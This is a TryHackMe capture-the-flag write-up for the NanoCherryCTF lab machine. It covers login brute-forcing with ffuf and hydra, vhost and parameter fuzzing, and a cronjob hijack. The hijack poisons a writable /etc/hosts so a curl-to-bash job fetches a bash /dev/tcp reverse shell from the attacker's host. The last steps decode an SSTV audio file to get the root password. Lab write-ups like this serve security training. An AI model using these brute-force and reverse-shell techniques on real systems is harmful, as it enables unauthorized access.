Post

TryHackMe: NanoCherryCTF

NanoCherryCTF included collecting three parts of a password by gaining access to the machine as three different users. We gained first part by brute-forcing a login page, second part by fuzzing, and third part by abusing a cronjob. After collecting all the parts, we were able to use them to get to another user, which allowed us to read an audio file. Decoding the SSTV transmission inside it, we got a password and used it to gain root access.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.97.115
Nmap scan report for 10.10.97.115
Host is up (0.094s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 9e:e6:fd:19:23:a3:b1:40:77:1c:a4:c4:2f:e6:d3:4b (ECDSA)
|_  256 15:2b:23:73:3f:c8:8a:a3:b4:aa:1d:ae:70:d4:5f:ae (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Cherry on Top Ice Cream Shop
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports open:

  • 22/SSH
  • 80/HTTP

We are given a hostname at the start, adding it to our hosts file.

1
10.10.97.115 cherryontop.thm

We are also given a set of credentials for a user on the machine, which we will use shortly.

  • notsus:dontbeascriptkiddie

Shell as molly-milk

Discovering the VHOST

Using the credentials we are given, we are able to get an SSH session as the notsus user.

1
$ ssh notsus@cherryontop.thm

This allows us to read the /etc/apache2/sites-enabled/b.cherryontop.thm.conf file and discover the nano.cherryontop.thm VHOST.

1
2
3
4
5
6
7
8
9
10
11
$ cat /etc/apache2/sites-enabled/b.cherryontop.thm.conf
<VirtualHost *:80>
...
        ServerAdmin webmaster@localhost
        ServerName nano.cherryontop.thm
        ServerAlias nano.cherryontop.thm
        DocumentRoot /var/www/b.cherryontop.thm
...
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We can also discover the VHOST by fuzzing.

1
2
3
$ ffuf -u 'http://cherryontop.thm/' -H 'Host: FUZZ.cherryontop.thm' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -t 100 -fs 13968
...
nano                    [Status: 200, Size: 10718, Words: 4093, Lines: 220, Duration: 493ms]

Adding it to our hosts file.

1
10.10.97.115 cherryontop.thm nano.cherryontop.thm

Brute-forcing the Credentials

Visiting http://nano.cherryontop.thm/, we get a page about The Cult of Nano.

Web 80 Nano Index

Clicking the Admin button on the navigation bar, we get redirected to http://nano.cherryontop.thm/login.php, where we find a login form.

Web 80 Nano Login

Testing the form with simple credentials, we get the message This user doesn't exist.

Web 80 Nano Login Fail

With a message like that, we can assume that we will be able to discover valid usernames with brute-force.

Using ffuf or hydra, we discover a valid username: puppet

1
2
3
4
5
6
7
8
$ ffuf -u 'http://nano.cherryontop.thm/login.php' -X POST -d 'username=FUZZ&password=admin&submit=' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc all -t 100 -fr "This user doesn't exist"
...
puppet                  [Status: 200, Size: 2370, Words: 733, Lines: 61, Duration: 453ms]

$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p admin nano.cherryontop.thm http-post-form "/login.php:username=^USER^&password=^PASS^&submit=:This user doesn't exist" -t 64 -F
...
[80][http-post-form] host: nano.cherryontop.thm   login: puppet   password: admin
...

Now, trying to login with the valid username, we can see that we get the message: Bad password

Web 80 Nano Login Fail Two

We can also brute-force for the password, same way as before.

1
2
3
4
5
6
7
8
$ ffuf -u 'http://nano.cherryontop.thm/login.php' -X POST -d 'username=puppet&password=FUZZ&submit=' -H 'Content-Type: application/x-www-form-urlencoded' -w /usr/share/seclists/Passwords/cirt-default-passwords.txt -mc all -t 100 -fr "Bad password"
...
master                  [Status: 302, Size: 333, Words: 37, Lines: 12, Duration: 143ms]

$ hydra -l puppet -P /usr/share/seclists/Passwords/cirt-default-passwords.txt nano.cherryontop.thm http-post-form "/login.php:username=^USER^&password=^PASS^&submit=:Bad password" -t 64 -F
...
[80][http-post-form] host: nano.cherryontop.thm   login: puppet   password: master
...

Using the discovered credentials to login, we get redirected to http://nano.cherryontop.thm/command.php, where we discover the flag for the Molly’s dashboard.

Web 80 Nano Dashboard

Checking the posts, we also get a password for SSH.

Web 80 Nano Dashboard Password

Using the shell we have as the notsus user, we can get the username for Molly from the /etc/passwd file.

1
2
3
4
5
6
7
$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
chad-cherry:x:1000:1000:Chad Cherry:/home/chad-cherry:/bin/bash
molly-milk:x:1001:1001::/home/molly-milk:/bin/sh
sam-sprinkles:x:1002:1002::/home/sam-sprinkles:/bin/sh
bob-boba:x:1003:1003::/home/bob-boba:/bin/sh
notsus:x:1004:1004::/home/.notsus:/bin/sh

Now, using the password we have along with the molly-milk username, we are able to use SSH to get a shell and read the first part of the Chad Cherry’s password.

1
2
3
4
$ ssh molly-milk@cherryontop.thm

$ wc -c chads-key1.txt
11 chads-key1.txt

Shell as sam-sprinkles

Fuzzing for IDs

Visiting http://cherryontop.thm/, we get a page about an ice cream shop.

Web 80 Index

Clicking the Ice Cream Facts on the navigation bar, we get redirected to http://cherryontop.thm/content.php where we can get facts about ice cream.

Upon submitting the form to get a fact, we see our request is this: http://cherryontop.thm/content.php?facts=1&user=I52WK43U

Web 80 Facts

By fuzzing, we discover a couple more facts apart from the ones listed on the form.

1
2
3
4
5
6
7
8
9
10
$ ffuf -u 'http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U' -w <(seq 1 100) -mc all -fw 754
...
1                       [Status: 200, Size: 2499, Words: 759, Lines: 63, Duration: 86ms]
2                       [Status: 200, Size: 2519, Words: 762, Lines: 63, Duration: 85ms]
3                       [Status: 200, Size: 2514, Words: 762, Lines: 63, Duration: 85ms]
4                       [Status: 200, Size: 2523, Words: 761, Lines: 63, Duration: 85ms]
20                      [Status: 200, Size: 2479, Words: 755, Lines: 63, Duration: 87ms]
43                      [Status: 200, Size: 2498, Words: 759, Lines: 63, Duration: 86ms]
50                      [Status: 200, Size: 2487, Words: 757, Lines: 63, Duration: 88ms]
64                      [Status: 200, Size: 2486, Words: 757, Lines: 63, Duration: 87ms]

Checking all of them, we don’t get anything useful.

Fuzzing with Usernames

One interesting thing is the user value, which is Guest base32 encoded.

1
2
$ echo I52WK43U | base32 -d
Guest

Since we already have a list of usernames, we can convert them to base32 and fuzz for other facts we might access. Seeing the Guest, we also add Admin to the list of usernames.

1
2
3
4
5
6
7
root
chad-cherry
molly-milk
sam-sprinkles
bob-boba
notsus
Admin

Converting them to base32 for fuzzing.

1
$ for i in $(cat usernames.txt); do echo -n $i | base32 >> base32-usernames.txt; done

Now, fuzzing the IDs along with the usernames and filtering the facts we already got, we see a couple of different results for the same IDs we found before.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ffuf -u 'http://cherryontop.thm/content.php?facts=IDS&user=USER' -w <(seq 1 100):IDS -w base32-usernames.txt:USER -mc all -t 100 -fw 754 -fs 2499,2519,2514,2523,2479,2498,2487,2486

[Status: 200, Size: 2531, Words: 765, Lines: 63, Duration: 88ms]
    * IDS: 64
    * USER: MNUGCZBNMNUGK4TSPE======

[Status: 200, Size: 2572, Words: 771, Lines: 63, Duration: 103ms]
    * IDS: 50
    * USER: NVXWY3DZFVWWS3DL

[Status: 200, Size: 2558, Words: 764, Lines: 63, Duration: 123ms]
    * USER: ONQW2LLTOBZGS3TLNRSXG===
    * IDS: 43

[Status: 200, Size: 2558, Words: 769, Lines: 63, Duration: 131ms]
    * USER: MJXWELLCN5RGC===
    * IDS: 20

[Status: 200, Size: 2558, Words: 764, Lines: 63, Duration: 469ms]
    * IDS: 43
    * USER: IFSG22LO

Checking them one by one, we see that we get the SSH credentials for sam-sprinkles on the fact with ID 43, if we use the username Admin (IFSG22LO) or sam-sprinkles (ONQW2LLTOBZGS3TLNRSXG===).

Web 80 Facts Credentials

Using the discovered credentials with SSH, we get a shell as sam-sprinkles and can read the second part of the Chad Cherry’s password.

1
2
3
4
$ ssh sam-sprinkles@cherryontop.thm

$ wc -c chads-key2.txt
7 chads-key2.txt

Shell as bob-boba

Discovering the Cronjob

Going back to the shell we have as the notsus user and enumerating the system, we discover a cronjob running as bob-boba at /etc/crontab.

1
2
3
notsus@nanocherryctf:~$ cat /etc/crontab
...
*  *    * * *   bob-boba curl cherryontop.tld:8000/home/bob-boba/coinflip.sh | bash

It fetches a script from cherryontop.tld:8000/home/bob-boba/coinflip.sh and executes it by piping it into bash.

Writable hosts File

Also enumerating the system more either manually or by using linpeas, we discover that the /etc/hosts file is writable.

1
2
notsus@nanocherryctf:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root adm 312 Apr  8  2023 /etc/hosts

We can use this with the cronjob from before to escalate to the bob-boba user. For this, we can add an entry to the /etc/hosts file to make the cherryontop.tld resolve to our IP address. Then, we can start a HTTP server to serve /home/bob-boba/coinflip.sh file with a reverse shell payload. So, when the cronjob runs for the next time, it will fetch the script to run from our server and will run our reverse shell payload.

First, setting up our HTTP server to serve the script.

1
2
3
4
5
6
$ mkdir -p home/bob-boba/

$ echo '/bin/bash -i >& /dev/tcp/10.11.72.22/443 0>&1' > home/bob-boba/coinflip.sh

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Adding the entry to /etc/hosts to make the server resolve cherryontop.tld to our IP address.

1
notsus@nanocherryctf:~$ echo '10.11.72.22 cherryontop.tld' >> /etc/hosts

Now, after waiting a couple of seconds, we can see the server fetching the script from our server.

1
10.10.95.168 - - [06/Jul/2024 10:03:01] "GET /home/bob-boba/coinflip.sh HTTP/1.1" 200 -

And we get a shell as the bob-boba user in our listener and can read the third and last part of the Chad Cherry’s password.

1
2
3
4
5
6
7
8
9
10
11
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.95.168] 37698
bash: cannot set terminal process group (2471): Inappropriate ioctl for device
bash: no job control in this shell
bob-boba@nanocherryctf:~$ id
uid=1003(bob-boba) gid=1003(bob-boba) groups=1003(bob-boba)
bob-boba@nanocherryctf:~$ ls
bob-boba@nanocherryctf:~$ wc -c chads-key3.txt
wc -c chads-key3.txt
10 chads-key3.txt

Shell as chad-cherry

Combining all the password parts we discovered, we can use them with SSH to get a shell as chad-cherry and can read the Chad Cherry flag.

1
2
3
4
$ ssh chad-cherry@cherryontop.thm

chad-cherry@nanocherryctf:~$ wc -c chad-flag.txt
22 chad-flag.txt

Shell as root

Looking at the files in chad-cherry’s home, we discover a note, with the important part being that we can discover the root password inside the .wav file.

1
2
3
4
chad-cherry@nanocherryctf:~$ cat Hello.txt
...
You can find the password to the root account in the .wav file. Whomever you are, if you're a smart enough hacker, you'll figure it out.
..

Just like the note mentions, we also have a .wav file in the user’s home.

1
2
chad-cherry@nanocherryctf:~$ ls -la rootPassword.wav
-rw-rw-r-- 1 chad-cherry chad-cherry 3326066 Jan  5  2024 rootPassword.wav

We can download it using scp.

1
$ scp chad-cherry@cherryontop.thm:rootPassword.wav .

Opening it in audacity and checking the spectrogram, we see what looks like a SSTV transmission.

Root Password Spectrogram

We can use the program from here to decode it and get the transmitted image.

1
2
3
4
5
6
7
$ sstv -d rootPassword.wav -o rootPassword.png
[sstv] Searching for calibration header... Found!
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image...   [#############################################################################################]  99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!

Looking at the decoded image, we get the password for the root user.

Root Password

Using the password, we can switch to the root user and read the root flag.

1
2
3
4
chad-cherry@nanocherryctf:~$ su - root
Password:
root@nanocherryctf:~# wc -c root-flag.txt
36 root-flag.txt
This post is licensed under CC BY 4.0 by the author.